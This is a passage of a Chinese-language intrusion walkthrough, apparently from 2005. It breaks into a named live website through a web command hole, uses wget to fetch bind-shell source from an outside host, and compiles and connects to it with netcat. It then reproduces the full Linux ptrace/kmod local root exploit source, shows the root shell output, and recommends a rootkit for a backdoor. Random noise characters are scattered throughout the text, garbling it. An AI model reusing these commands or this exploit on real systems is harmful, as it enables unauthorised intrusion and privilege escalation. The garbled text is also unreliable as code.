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http://shellcode.org/Shellcode/Linux/shell-bind-shell.c了,
7 q d9 ^# i1 s就可以用wget这个命令来下载了,输入 ! N* k' `4 j3 \$ F: V1 u: f
wget http://shellcode.org/Shellcode/Linux/shell-bind-shell.c -P /tmp意思: S0 b+ a1 t# S) ?* C
就是下载这个shell.c到/tmp目录下,如图6 & i7 v4 f% g* L v' b
然后ls /tmp得到下面的结果,[www.sealia.com]$ ls /tmpDate: Sat, 29 Jan 2005 22:17:14 GMTServer: Apache/1.3.29 (Unix) mod_throttle/3.1.2 PHP/4.3.8 PHP/3.0.18Set-Cookie: sealiakleadata1=|||1|; expires=Sunday, 31-Dec-01 23:59:59 GMT;Set-Cookie: koX8iT3Dda=-kleadata1-;Transfer-Encoding: chunkedContent-Type: text/plain+ E/ w" h0 t2 D. K
2bdlost+foundmremap_pte.cmysql.sockptrace.csess_0a3d59b6da83717a4c05fbc5c6429982sess_12981c19e4cdab7bc426af965e7c85desess_33c246570a69e0846eaaedaef61f0402sess_4eb43cb41a450e8a7d15998fe4e9ef82sess_5c2048e3188733f41bba9a1ab44a4f3bsess_6405a9b3e0a809d7f298ad598f5de180sess_67fc6892112d2d780a092664353dcbbasess_9e3a2581194c05f598543f10294a95edsess_a0332a716e5c0a0932331ce9a5ec64d2sess_a159ec1f21a671d5cfe201c384d8da1csess_c6f579b218f096eb5ba11fdbad90f248sess_cdea344ed2940c99c1fcc146c5322882sess_f1e8e705bb1a6c5197ab61a22442da90shell-bind-shell.cshell-bind-shell.c.1ssh-XX0CyKEcssh-XX7eRJNnssh-XX89utqmssh-XXEmor9Xssh-XXhC36Gwssh-XXpOcVIAssh-XXrhx8enssh-XXss6aKsssh-XXw2rzSs
! O5 ]1 n; B! Z' E e这个时候就说明已经成功了,现在我们查找一下gcc在哪里,别到时候闹了半天
' M& p0 C4 ]/ C$ M/ w L在没有gcc就麻烦了,然后输入whereis -b gcc意思就是查找gcc的全路径输出结果
7 i! ` I: |; z# a1 W% T[www.sealia.com]$ whereis -b gccDate: Sat, 29 Jan 2005 22:21:06 GMTServer: Apache/1.3.29 (Unix) mod_throttle/3.1.2 PHP/4.3.8 PHP/3.0.18Set-Cookie: sealiakleadata1=|||1|; expires=Sunday, 31-Dec-01 23:59:59 GMT;Set-Cookie: koX8iT3Dda=-kleadata1-;Transfer-Encoding: chunkedContent-Type: text/plain
2 V# ?8 W+ Z- U6 r2 B6 t12gcc: /usr/bin/gcc+ `0 d7 p% e, D1 m
好了找到gcc了,接下来的事就好办了,编译源程序gcc shell-bind-shell.c -o bind9 y q7 g7 |. H% Y: b3 }7 r
编译成功在/tmp目录下多了一个我们编译的bind程序,下面我们就来执行它吧,; w0 e' m8 n( t! [
/tmp/bind程序执行的很慢哦.....大概等了1-2分钟程序执行完成,根据程序的介绍我
# J% B" z1 V2 e- u: X8 L# f/ R们知道他开了20000端口,我们telnet 上去吧,telnet www.sealia.com 200006 g8 j/ n' c. ~1 c
哈哈连接上了这个时候摸瞎输入id;uname -a 我晕怎么出现"command not found"
, i, E' }) a+ q呢,我晕了,没错啊,看看源程序吧,找到了最后,哈哈知道了原因,2 d8 ~, e! n* Q E
Note: To use this you will need to make sure that you append '\n\0' to your entered strings, otherwise you will receive errors saying "command not found".The following is a simple means of doing that: perl -e '$|++;while (<>) { print . "\n\x00"; }' | nc hostname 20000" C' H; c1 R1 r* q" Z
(nc is netcat).好了知道为什么了,我们就换nc提交吧,执行nc -vv www.sealia.com 20000然后出现了C:\WINDOWS\system32>nc -vv www.sealia.com 20000Warning: inverse host lookup failed for 61.100.181.12: h_errno 11004: NO_DATAwww.sealia.com [61.100.181.12] 20000 (?) open在黑暗中输入id输出结果uid=99(nobody) gid=99(nobody) groups=99(nobody)如图7

呵呵到这里我们可爱的流光还在跑呢,跑了将近半个小时了,不等了,关闭它,太浪费资源了,这个时候我大概知道他是一个linux的操作系统,但不知道内核版本输入uname -r 可以看到这个linux的内核iduid=99(nobody) gid=99(nobody) groups=99(nobody)uname -r2.4.20-31.92.4.20的,下面咱们来提升权限吧,就是拿到root,这里说明一下这里有2个很好用的漏洞利用程序,一个是Linux Kernel do_mremap VMA本地权限提升漏洞(漏洞利用程序下载地址_pte.c">http://rhea.oamk.fi/~pyanil00/temp/mremap_pte.c)和Linux kernel 2.2.x - 2.4.x ptrace/kmod local root exploit好了都准备好了,咱们开始提升权限吧,大家先把咱们要利用的程序输入到linux里面cd /tmp;cat >1.c然后复制代码右键输入代码/*
* H$ j. {$ | |1 L& Q' V) y! @* Linux kernel ptrace/kmod local root exploit; \- c6 t9 ^1 q m/ y0 c
*
; [0 ^6 `8 A, c2 o9 L" Z* This code exploits a race condition in kernel/kmod.c, which creates" _; m q5 ~9 A2 V/ M: H1 b9 ^
* kernel thread in insecure manner. This bug allows to ptrace cloned
$ G0 x; M* F0 C, x8 ]* process, allowing to take control over privileged modprobe binary.
# g: |' I" D4 n; t' @*
6 x$ I1 ]$ g, h! B; y; H* Should work under all current 2.2.x and 2.4.x kernels.
( d7 P; @ \' A. t; X4 b*
[. r; W4 x# p9 w* I discovered this stupid bug independently on January 25, 2003, that
. w+ v+ c/ m$ i+ _: }- [9 u* is (almost) two month before it was fixed and published by Red Hat) Q9 Q; A# I) j0 C
* and others.
/ q/ A [+ I6 ~) p; P*
% y9 Z2 w6 Z3 X9 ^7 q! ~) w; T* Wojciech Purczynski <cliph@isec.pl>
: H2 O: g/ k9 g! C& ]*
' V) A! U) u) M# y" [1 M9 o% Q* THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY*4 `2 P( R7 p+ H( A. u
* IT IS PROVIDED "AS IS" AND WITHOUT ANY WARRANTY: } V" d# @, n, }& Y. G
*
6 z2 _5 V3 o$ @ T& ]: p* (c) 2003 Copyright by iSEC Security Research% X1 O! F" C: v: I' P
*/ #include
' ], U- E$ g' c! N* H#include # d; w, b. [8 c0 i3 p
#include
/ \; P5 X7 |( T, x#include : f! t! n' ]0 ~) j$ M; a$ v9 `
#include
% g& J: t& ]6 X#include 8 i- X, c' `9 U
#include
+ ^& s. a2 P/ B$ n5 o; T#include y2 s4 ~6 [1 @) u
#include
4 a- p1 H0 W6 C5 R3 O, c#include
- ^+ y/ A, k4 W( l! B#include # f0 M$ I4 q; H
#include
/ m w% `* q: s0 l#include
. o: x) s4 s! V: M" y' S- J#include
( Z3 b, W7 D. n+ s b! u3 \* F5 }#include
\5 H( |: y2 h$ M2 A#include char cliphcode[] =
* b5 ~6 ^( r% d- X& d6 B"\x90\x90\xeb\x1f\xb8\xb6\x00\x00"- |8 q8 d# k- q9 [3 O' W& x
"\x00\x5b\x31\xc9\x89\xca\xcd\x80"
( d6 C* [8 {' J% ~' k4 a"\xb8\x0f\x00\x00\x00\xb9\xed\x0d"+ R) v' ]% b. P
"\x00\x00\xcd\x80\x89\xd0\x89\xd3"
) X4 b2 ? V" r5 r" Q6 k"\x40\xcd\x80\xe8\xdc\xff\xff\xff"; #define CODE_SIZE (sizeof(cliphcode) - 1) pid_t parent = 1;- i! l3 H' r2 H1 e; i$ n% M
pid_t child = 1;+ C9 F/ T8 L4 n6 q! r
pid_t victim = 1;7 }. M& d0 x; Y' J, F1 d
volatile int gotchild = 0; void fatal(char * msg)
- e- f: W& q) z0 \{" Q D2 l1 J$ Q. @2 A9 ?
perror(msg);
6 M0 C" {$ [7 p$ H$ G) W5 ^kill(parent, SIGKILL);. N" b* r9 D% {
kill(child, SIGKILL);
0 J5 v- W' v5 [. f( s D! Lkill(victim, SIGKILL);0 i/ K3 S2 D( N% P; ^
} void putcode(unsigned long * dst)) u$ b4 O7 {" D7 C# Z+ k
{ Y* i4 { J+ x3 r
char buf[MAXPATHLEN + CODE_SIZE];1 p3 A( y# t2 ]4 o& |: R0 ^+ d9 A5 r
unsigned long * src;
7 {2 m* O6 Y+ ^/ i6 g; p& mint i, len; memcpy(buf, cliphcode, CODE_SIZE);
8 S& U% J6 o( jlen = readlink("/proc/self/exe", buf + CODE_SIZE, MAXPATHLEN - 1);
2 v. e b! Q3 m2 q# vif (len == -1)! j3 K7 U% `) e
fatal("[-] Unable to read /proc/self/exe"); len += CODE_SIZE + 1;- b, A0 N) N! }2 `8 B
buf[len] = '\0'; src = (unsigned long*) buf;
" v5 C1 M! f' O' ofor (i = 0; i < len; i += 4)# s5 v8 v: i' Z8 h
if (ptrace(PTRACE_POKETEXT, victim, dst++, *src++) == -1)
# l2 ]8 S5 X) bfatal("[-] Unable to write shellcode");
~7 u( u h$ }3 {0 Y' `6 E- b} void sigchld(int signo)/ o, P! _9 }& t" R
{% P% s4 _- j1 u2 [ `# p+ l+ U5 f
struct user_regs_struct regs; if (gotchild++ == 0)
6 W0 Q9 G6 x) O0 areturn; fprintf(stderr, "[+] Signal caught\n"); if (ptrace(PTRACE_GETREGS, victim, NULL, 畇) == -1)
1 `1 H5 m0 o2 h$ Pfatal("[-] Unable to read registers"); fprintf(stderr, "[+] Shellcode placed at 0x%08lx\n", regs.eip); putcode((unsigned long *)regs.eip); fprintf(stderr, "[+] Now wait for suid shell...\n"); if (ptrace(PTRACE_DETACH, victim, 0, 0) == -1)
; z4 [2 y" ?. `1 t* | hfatal("[-] Unable to detach from victim"); exit(0);
# F& a" F, _* r" Z} void sigalrm(int signo)
3 r9 i- ^; O4 N+ @# E{7 M# k" A. _- r: ~4 t
errno = ECANCELED;
0 K( y# U) |( yfatal("[-] Fatal error");
' e) w) R4 u/ L- q5 ~1 f: z5 T} void do_child(void)2 `/ c6 d- m6 l1 o+ O* l
{
% t4 ~ a" C, g% M- fint err; child = getpid();- i1 f; j5 x4 ^" z- U5 j" h
victim = child + 1; signal(SIGCHLD, sigchld); do
( t2 k" W1 D# G5 verr = ptrace(PTRACE_ATTACH, victim, 0, 0);
( O. c' U8 G/ ?- @+ m& O5 zwhile (err == -1 && errno == ESRCH); if (err == -1)
6 L, g' S: O' jfatal("[-] Unable to attach"); fprintf(stderr, "[+] Attached to %d\n", victim);
9 |4 t1 h( V- x$ ?0 B# `0 zwhile (!gotchild) ;3 E+ a, D' n5 G2 u( j1 E
if (ptrace(PTRACE_SYSCALL, victim, 0, 0) == -1)
, L2 Q' a! e: ]* bfatal("[-] Unable to setup syscall trace");
( L8 J v# R% W" O. Q% c# jfprintf(stderr, "[+] Waiting for signal\n"); for(;;);2 f" E4 I! g7 ^( i1 L! K
} void do_parent(char * progname)
, b6 o2 O7 l9 [{
8 j3 B. }, J7 g' e2 Gstruct stat st;; E2 M* \" ^. C
int err;0 H4 l. K8 i* l
errno = 0;0 e8 g. h- A* ~( T- E
socket(AF_SECURITY, SOCK_STREAM, 1);
, n, w+ V: x2 x! i' g( ?% X$ }" ]do {' ^$ }: B- h9 v4 z/ F9 T
err = stat(progname, &st);
# L* i1 Q/ \! N% p. Z: N} while (err == 0 && (st.st_mode & S_ISUID) != S_ISUID); if (err == -1)1 P8 Z2 D4 l9 d7 y+ U( i l
fatal("[-] Unable to stat myself"); alarm(0);
; Y+ Y a0 f9 k$ n/ r$ `* d& @" E* E" Qsystem(progname);
% y1 S7 {! a) k1 z9 d} void prepare(void)" r4 {; j: N9 C% Y [6 @4 ^5 U
{. c* f4 U- t8 Y' f6 f6 f! t
if (geteuid() == 0) {
h2 ]( g+ w6 ^) |( ^9 G# yinitgroups("root", 0);- @7 g3 j* ?9 [* c- v
setgid(0);" C! A. ^+ y( X0 F- E
setuid(0);0 T* y- l8 `- O3 G; G% M3 d2 P
execl(_PATH_BSHELL, _PATH_BSHELL, NULL);
5 }( i" y! @# O- S# ^6 Zfatal("[-] Unable to spawn shell");, ]! k, y/ J$ f' c- ]
}
! a1 ~, H/ S# z* |& s! g$ C} int main(int argc, char ** argv)" n" O, _! s2 d/ u
{
) w7 P# Y- a1 O) F8 u0 uprepare();
3 O5 K0 }. X* s! Isignal(SIGALRM, sigalrm);& u& x: \7 P3 `5 m( y# y9 p
alarm(10); parent = getpid();
* _8 Y7 P9 G$ T) y* Hchild = fork();
* s. H# G, x9 Q9 T0 {0 k$ a7 p& gvictim = child + 1; if (child == -1)8 N1 K3 C5 |( x- g& \
fatal("[-] Unable to fork"); if (child == 0)9 h/ g4 U' E" L: J& P# _
do_child();
! \$ h& e* M- J, Pelse6 `- [0 n8 i% q4 L* d" q. y3 U( [
do_parent(argv[0]); return 0;
2 {/ P! O: ]+ W. h% n- q8 E1 g}CRTL+C保存,然后编译gcc 1.c -o 1编译成功,然后输入./1程序开始执行了,-> Parent's PID is 2313. Child's PID is 2314.-> Attaching to 2315...-> Got the thread!!-> Waiting for the next signal...-> Injecting shellcode at 0x4000e85d-> Bind root shell on port 24876... =p-> Detached from modprobe thread.-> Committing suicide..... iduid=0(root) gid=0(root) groups=0(root)哈哈到这个时候我们已经是root了,剩下的工作就是安装后门了,大家可以参考我另外的一篇文章,more.asp?name=cnbird&id=522还有推荐一个不错的rootkitpacketstormsecurity.org/UNIX/penetration/rootkits/lrk5.src.tar.gz好了到这里所有的工作就算已经完成了,其实从入侵中我们可以看出来我们做网站的一定要重视web漏洞,这一点点的小漏洞就可以把能拿到系统的最高权限,可见其危害性,希望国内的网管能够重视起来. |